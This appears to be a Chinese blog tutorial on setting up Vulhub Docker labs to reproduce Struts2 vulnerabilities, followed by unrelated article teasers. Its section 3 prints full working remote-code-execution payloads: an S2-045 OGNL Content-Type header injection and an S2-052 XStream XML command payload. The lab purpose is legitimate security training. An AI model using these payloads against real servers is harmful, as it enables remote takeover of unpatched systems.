当前位置: 首页 > article >正文

从靶场到实战:用Vulhub在Docker里一键复现Struts2全系列漏洞(S2-001到S2-053)

从靶场到实战用Vulhub在Docker里一键复现Struts2全系列漏洞在安全研究领域能够快速搭建可复现的漏洞环境是每个从业者的基本功。传统方式需要手动配置Java环境、下载特定版本的Struts2框架、部署Web服务器整个过程耗时费力且容易出错。而Vulhub项目结合Docker技术为我们提供了一种优雅的解决方案——只需几条命令就能启动一个完整的漏洞实验环境。1. 环境准备与工具链搭建1.1 基础组件安装在开始之前需要确保系统已安装以下核心组件Docker Engine建议使用20.10及以上版本Docker ComposeV2版本兼容性最佳Git客户端用于拉取Vulhub仓库cURL或Postman用于发送测试请求对于Linux系统推荐使用官方脚本一键安装# Ubuntu/Debian示例 sudo apt-get update sudo apt-get install -y git curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER提示安装完成后需要重新登录使docker组权限生效1.2 Vulhub项目获取Vulhub是一个开源的漏洞环境集合项目包含了数百种常见漏洞的Docker化部署方案git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2项目目录结构示例struts2/ ├── s2-001 │ ├── docker-compose.yml │ └── README.md ├── s2-005 │ ├── docker-compose.yml │ └── README.md ...2. Struts2漏洞环境启动与管理2.1 容器化环境启动以S2-045漏洞CVE-2017-5638为例cd s2-045 docker-compose up -d启动后可以通过以下命令检查状态docker-compose ps预期输出应显示服务状态为UpName Command State Ports -------------------------------------------------------------------- s2-045 catalina.sh run Up 0.0.0.0:8080-8080/tcp2.2 网络访问配置默认情况下Vulhub环境会映射以下端口漏洞编号容器端口主机映射端口S2-00180808080S2-00580808080S2-04580808080注意如果端口冲突可以修改docker-compose.yml中的ports配置如8081:80803. 典型漏洞复现实战3.1 S2-045远程代码执行漏洞这是Struts2历史上最严重的漏洞之一攻击者可通过恶意Content-Type头执行系统命令。复现步骤访问启动的Web应用http://your-ip:8080/使用cURL发送恶意请求curl -H Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdid).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} http://your-ip:8080/关键攻击向量分析// 漏洞核心在于文件上传解析器对Content-Type的处理 public class JakartaMultiPartRequest extends MultiPartRequestSupport { public void parse(HttpServletRequest request, String saveDir) throws IOException { // 未对Content-Type进行充分验证 String contentType request.getContentType(); // 直接执行OGNL表达式 } }3.2 S2-052 REST插件漏洞这个漏洞影响Struts2的REST插件攻击者可以通过特制的XML载荷实现远程代码执行。复现方法启动S2-052环境docker-compose up -d发送恶意XML请求curl -X POST -H Content-Type: application/xml -d map entry jdk.nashorn.internal.objects.NativeString flags0/flags value classcom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data dataHandler dataSource classcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource is classjavax.crypto.CipherInputStream cipher classjavax.crypto.NullCipher initializedfalse/initialized opmode0/opmode serviceIterator classjavax.imageio.spi.FilterIterator iter classjavax.imageio.spi.FilterIterator iter classjava.util.Collections$EmptyIterator/ next classjava.lang.ProcessBuilder command stringtouch/string string/tmp/s2-052-pwned/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter /serviceIterator /cipher /is /dataSource /dataHandler /value /jdk.nashorn.internal.objects.NativeString /entry /map http://your-ip:8080/orders验证命令是否执行成功docker-compose exec struts2 ls -la /tmp4. 实验环境优化与调试技巧4.1 容器调试方法当需要深入分析漏洞时可以进入容器内部docker-compose exec struts2 bash常用调试工具网络监控tcpdump -i eth0 -w capture.pcap日志查看tail -f /usr/local/tomcat/logs/catalina.out进程检查ps aux | grep java4.2 实验环境定制如果需要修改Struts2配置可以编辑docker-compose.yml中的volumes部分version: 2 services: struts2: image: vulhub/struts2:s2-045 volumes: - ./struts.xml:/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml ports: - 8080:80804.3 资源清理实验完成后可以停止并删除容器docker-compose down如需彻底清理所有Docker资源docker system prune -a

相关文章:

从靶场到实战:用Vulhub在Docker里一键复现Struts2全系列漏洞(S2-001到S2-053)

从靶场到实战:用Vulhub在Docker里一键复现Struts2全系列漏洞 在安全研究领域,能够快速搭建可复现的漏洞环境是每个从业者的基本功。传统方式需要手动配置Java环境、下载特定版本的Struts2框架、部署Web服务器,整个过程耗时费力且容易出错。而…...

DeepFace实战:用5行代码快速搭建一个本地人脸搜索系统(附完整代码)

DeepFace实战:5行代码构建本地人脸搜索系统的工程化实践 人脸识别技术早已不再是实验室里的黑科技,而是能够快速落地的实用工具。今天我们将用Python生态中最轻量级的DeepFace库,从工程化角度构建一个真正可用的人脸搜索系统。不同于简单的AP…...

嵌入式核心板选型指南:从单核到四核的精准配置与实战优化

1. 项目概述:从“固定套餐”到“自助餐”的嵌入式核心板选型变革最近在规划一个工业HMI项目,主控选型时又翻开了飞凌嵌入式的产品手册。看到AM62x系列核心板配置新增了单核、双核、四核的选项,第一反应是:这路子对了。在嵌入式开发…...

从场景到代码:如何用研华Navigator为PCIE1751规划数据采集方案(AI/AO/DI/DO全解析)

从场景到代码:如何用研华Navigator为PCIE1751规划数据采集方案(AI/AO/DI/DO全解析) 在工业自动化领域,数据采集系统的设计往往面临一个核心矛盾:硬件性能的丰富性与实际需求的精准匹配。研华PCIE-1751作为一款多功能数…...

革命性AI emojis:一键生成个性化Slack表情的完整指南

革命性AI emojis:一键生成个性化Slack表情的完整指南 【免费下载链接】emojis Turn your ideas into emojis in seconds. Generate your favorite Slack emojis with just one click. 项目地址: https://gitcode.com/gh_mirrors/em/emojis GitHub加速计划的e…...

不只是YOLOv5!详解Windows‘页面文件太小’错误的通用解决思路与内存优化技巧

不只是YOLOv5!详解Windows‘页面文件太小’错误的通用解决思路与内存优化技巧 当你在深夜赶工一个重要的机器学习项目,或是渲染一段4K视频时,突然弹出一个冰冷的错误提示:"页面文件太小,无法完成操作"。这一…...

基于Sakura实验板的STM32流水灯项目实战:从GPIO控制到模式切换

1. 项目概述:从零到一,点亮你的第一串“流水”如果你刚拿到一块单片机开发板,面对一堆引脚和代码感到无从下手,那么“流水灯”几乎就是所有嵌入式开发者的“Hello World”。它简单、直观,却能让你快速理解GPIO&#xf…...

如何在5分钟内解锁所有Steam成就:Steam Achievement Manager完整使用指南

如何在5分钟内解锁所有Steam成就:Steam Achievement Manager完整使用指南 【免费下载链接】SteamAchievementManager A manager for game achievements in Steam. 项目地址: https://gitcode.com/gh_mirrors/st/SteamAchievementManager 还在为Steam游戏中那…...

基于RK3568的智能家居控制器:硬件选型、架构设计与软件实现全解析

1. 项目概述:为什么选择RK3568作为智能家居控制器的“大脑”?在智能家居这个赛道里摸爬滚打了十来年,我经手过不少方案,从早期的单片机到后来的ARM Cortex-A系列,再到如今百花齐放的各类SoC。每次做产品选型&#xff0…...

3分钟掌握UnityPackage Extractor:无需Unity轻松提取资源包

3分钟掌握UnityPackage Extractor:无需Unity轻松提取资源包 【免费下载链接】unitypackage_extractor Extract a .unitypackage, with or without Python 项目地址: https://gitcode.com/gh_mirrors/un/unitypackage_extractor 你是否曾因需要查看Unity资源包…...

MODBUS调试助手开发全解析:从协议原理到实战避坑指南

1. 项目概述与核心价值在工业自动化、楼宇自控、能源监控这些领域里混迹了十几年,我打交道最多的通讯协议,除了各种现场总线,就是MODBUS了。无论是RS-232、RS-485串口,还是后来普及的TCP/IP网络,MODBUS协议以其简单、开…...

告别臃肿PDF!用Ghostscript命令行批量压缩/拆分/合并的保姆级教程

Ghostscript实战指南:PDF批量处理的高效命令行艺术 每次面对动辄上百兆的扫描版PDF报告时,你是否也经历过邮箱附件发送失败、云盘上传卡在99%的崩溃瞬间?当领导临时要求合并二十份季度报表,或是学术期刊需要按章节拆分投稿时&…...

我的MIPS五段流水CPU踩坑实录:从Load-Use Hazard到数据前递的完整调试过程

我的MIPS五段流水CPU踩坑实录:从Load-Use Hazard到数据前递的完整调试过程 1. 当流水线遇上数据冒险:一个FPGA初学者的崩溃瞬间 那是一个凌晨三点,我的Verilog仿真波形图上突然出现了一个诡异的数值——寄存器R9被意外写入了0。作为计算机体系…...

模电数电不再怕:用甘晴void的三本笔记法,搞定HNU电路与电子学课堂测验与作业

模电数电不再怕:用甘晴void的三本笔记法,搞定HNU电路与电子学课堂测验与作业 电路与电子学这门课,对很多计算机专业的学生来说就像一座难以逾越的高山。模电的抽象概念、数电的逻辑设计,加上频繁的课堂测验和课后作业,…...

LangGraph 是什么?为什么它越来越像 AI Agent 时代的“操作系统”

文章目录一、为什么普通的“聊天式 AI”不够用了?1. 状态容易丢2. 流程难控制3. 执行失败后很难恢复4. 决策过程不透明二、LangGraph 到底是什么?1. 编排2. 运行时三、为什么很多人会说:LangGraph 像 Agent Server 的“操作系统”&#xff1f…...

专业解密QQ音乐加密格式:QMCDecode让音乐文件重获自由播放权

专业解密QQ音乐加密格式:QMCDecode让音乐文件重获自由播放权 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac,qmc0,qmc3转mp3, mflac,mflac0等转flac),仅支持macOS,可自动识别到QQ音乐下载目录&#xff0c…...

3步打造高效macOS菜单栏:Hidden Bar深度使用指南

3步打造高效macOS菜单栏:Hidden Bar深度使用指南 【免费下载链接】hidden An ultra-light MacOS utility that helps hide menu bar icons 项目地址: https://gitcode.com/gh_mirrors/hi/hidden 作为macOS用户,你是否曾为菜单栏图标拥挤不堪而烦恼…...

单片机编程规范1 ---阮丁远 20260509

单片机编程规范1 ---阮丁远 20260509 :1.只用静态数组is被占用的标志位来 分配内存,不用malloc2.读写带下标的参数前先验证下标大小范围是否对,比如有的下标只能1开始,因为0的话里面 0-1 就变为负数了3.可以建立 参数 范围 监控…...

【权威实测】Perplexity vs PubMed vs Scite:在结构生物学领域,它为何将文献召回率提升68%?

更多请点击: https://codechina.net 第一章:Perplexity生物知识搜索 Perplexity 是一款以实时网络检索与引用溯源为核心能力的 AI 搜索工具,其在生命科学领域的应用正迅速拓展。不同于传统大模型依赖静态训练数据,Perplexity 在执…...

【C++】模板进阶全内容,一篇搞定所有!!!

文章目录1. 非类型模板参数补充&#xff1a;array静态数组array<int,10> a1;和int arr[10];的区别2.模板的特化2.1 概念2.2 函数模板特化2.3 类模板特化2.3.1 全特化2.3.2 偏特化2.3.3 类模板特化应用示例3.模板分离编译3.1 什么是分离编译3.2 模板的分离编译3.3 解决方法…...

LDAP查询服务延时查询及问题排查处理

文章目录一、使用服务器管理器管理本地和远程服务器二、LDAP查询用时三、LDAP查询高延迟排查步骤推荐阅读一、使用服务器管理器管理本地和远程服务器 默认情况下&#xff0c;服务器管理器包含在 Windows Server 中&#xff0c;无需单独安装。 在以下步骤中&#xff0c;将使用服…...

15天学会AI应用开发(一)搭建AI大模型应用开发环境

AI大模型时代来了&#xff0c;程序员们纷纷入坑AI应用开发&#xff0c;可是苦于AI教程良莠不齐&#xff0c;往往花费了大量时间精力和金钱&#xff0c;却仍然过其门而不入。 有鉴于此&#xff0c;博主开始连载AI应用开发教程《15天学会AI应用开发》&#xff0c;帮助大家快速掌…...

ADAU1701 DSP资源极限探索:从31段EQ到内存溢出,手把手教你做性能压力测试

ADAU1701 DSP资源极限探索&#xff1a;从31段EQ到内存溢出的性能压力测试方法论 在音频处理领域&#xff0c;ADAU1701作为一款经典的DSP芯片&#xff0c;其资源分配与性能边界一直是开发者关注的焦点。当客户提出"能否实现90段EQ"这类需求时&#xff0c;仅凭数据手册…...

STM32驱动PS2手柄控制智能小车实战(避坑指南+遥控代码解析)

STM32驱动PS2手柄控制智能小车实战&#xff08;避坑指南遥控代码解析&#xff09; 在创客社区和嵌入式开发领域&#xff0c;智能小车一直是验证硬件控制逻辑的理想平台。而将游戏手柄作为控制终端&#xff0c;不仅能让项目更具趣味性&#xff0c;还能深入理解工业级输入设备与嵌…...

从数据手册到实际电路:手把手教你用ADS1120的SPI接口,避开超时和配置的那些‘坑’

ADS1120实战指南&#xff1a;SPI接口深度优化与异常处理全解析 当你在凌晨三点的实验室里盯着示波器上那串诡异的SPI波形时&#xff0c;或许会想起第一次阅读ADS1120数据手册的那个下午。这款16位ΔΣ ADC以其出色的噪声性能和灵活的配置选项&#xff0c;成为精密测量领域的常客…...

告别HDR格式混乱:用Python代码实战HLG与PQ曲线互转(附完整代码)

告别HDR格式混乱&#xff1a;用Python代码实战HLG与PQ曲线互转&#xff08;附完整代码&#xff09; 在视频处理领域&#xff0c;HDR&#xff08;高动态范围&#xff09;技术已经成为提升视觉体验的关键要素。然而&#xff0c;HLG&#xff08;Hybrid Log-Gamma&#xff09;和PQ&…...

Delphi二进制迷宫破解:IDR交互式重构器的逆向工程革命

Delphi二进制迷宫破解&#xff1a;IDR交互式重构器的逆向工程革命 【免费下载链接】IDR Interactive Delphi Reconstructor 项目地址: https://gitcode.com/gh_mirrors/id/IDR 在逆向工程的世界里&#xff0c;Delphi编译的程序犹如一座座精心设计的迷宫——结构复杂、入…...

五分钟完成Python环境配置,用Taotoken调用大模型API

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 五分钟完成Python环境配置&#xff0c;用Taotoken调用大模型API 对于希望快速体验不同大模型能力的Python开发者而言&#xff0c;通…...

从Claude Code到AI编程全家桶:Cursor、OpenClaw、Codex、Gemini等主流工具深度横评

&#x1f525;个人主页&#xff1a;北极的代码&#xff08;欢迎来访&#xff09; &#x1f3ac;作者简介&#xff1a;java后端学习者 ❄️个人专栏&#xff1a;苍穹外卖日记&#xff0c;SSM框架深入&#xff0c;JavaWeb ✨命运的结局尽可永在&#xff0c;不屈的挑战却不可须臾或…...

华为、华三、思科、锐捷网络设备远程登录配置

目录 一、华为Stelnet登录配置 二、华三Stelent登录配置 三、思科SSH登录配置 四、锐捷SSH登录配置 一、华为Stelnet登录配置 #查看SSH状态# [Server]dis ssh server status SSH Version : 2.0 SSH authentication timeout (Seconds) : 60 SSH authentication retries …...